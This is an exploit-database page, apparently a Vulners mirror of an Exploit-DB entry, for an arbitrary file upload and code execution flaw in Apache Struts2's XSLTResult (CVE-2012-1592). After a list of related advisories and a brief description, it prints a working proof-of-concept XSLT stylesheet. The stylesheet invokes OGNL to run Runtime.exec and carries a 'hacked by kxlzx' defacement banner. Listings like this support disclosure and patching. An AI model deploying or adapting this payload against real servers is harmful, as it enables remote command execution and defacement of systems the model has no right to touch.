Lucene search
+L

Apache Struts 2.0 - 'XSLTResult.java' Arbitrary File Upload

🗓️ 23 Mar 2012 00:00:00Reported by voidloaferType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 43 Views

Apache Struts2 remote file-upload vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
bdu_fstec
BDU FSTEC
Apache Struts2 Code Execution
29 Oct 202400:00
–bdu_fstec
circl
Circl
CVE-2012-1592
23 Mar 201200:00
–circl
cnvd
CNVD
Unspecified Vulnerability in Apache Struts2
10 Dec 201900:00
–cnvd
cve
CVE
CVE-2012-1592
5 Dec 201920:57
–cve
cvelist
Cvelist
CVE-2012-1592
5 Dec 201920:57
–cvelist
euvd
EUVD
EUVD-2022-1679
3 Oct 202520:07
–euvd
github
Github Security Blog
Unrestricted Upload of File with Dangerous Type in Apache Struts2
23 Apr 202200:40
–github
nvd
NVD
CVE-2012-1592
5 Dec 201921:15
–nvd
openvas
OpenVAS
Apache Struts Security Update (CVE-2012-1592)
16 Sep 202100:00
–openvas
osv_ghsa
osv_ghsa
GHSA-8M5Q-CRQQ-6PMF Unrestricted Upload of File with Dangerous Type in Apache Struts2
23 Apr 202200:40
–osv_ghsa
Rows per page
source: https://www.securityfocus.com/bid/52702/info

Apache Struts2 is prone to a remote arbitrary file-upload vulnerability because it fails to sufficiently sanitize user-supplied input.

Attackers can exploit this issue to upload arbitrary code and run it in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

<?xml version="1.0" encoding="UTF-8" ?>
<xsl:stylesheet xmlns:xsl="http://www.example.com/1999/XSL/Transform"
version="1.0" xmlns:ognl="ognl.Ognl">
<xsl:template match="/">
<html>
<body>
<h2>hacked by kxlzx</h2>
<h2>http://www.example.com</h2>
<exp>
<xsl:value-of select="ognl:getValue('@Runtime@getRuntime().exec("calc")', '')"/>
</exp>
</body>
</html>
</xsl:template>
</xsl:stylesheet>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Oct 2016 00:00Current
7.9High risk
Vulners AI Score7.9
CVSS 26.5
CVSS 3.18.8
EPSS0.2855
43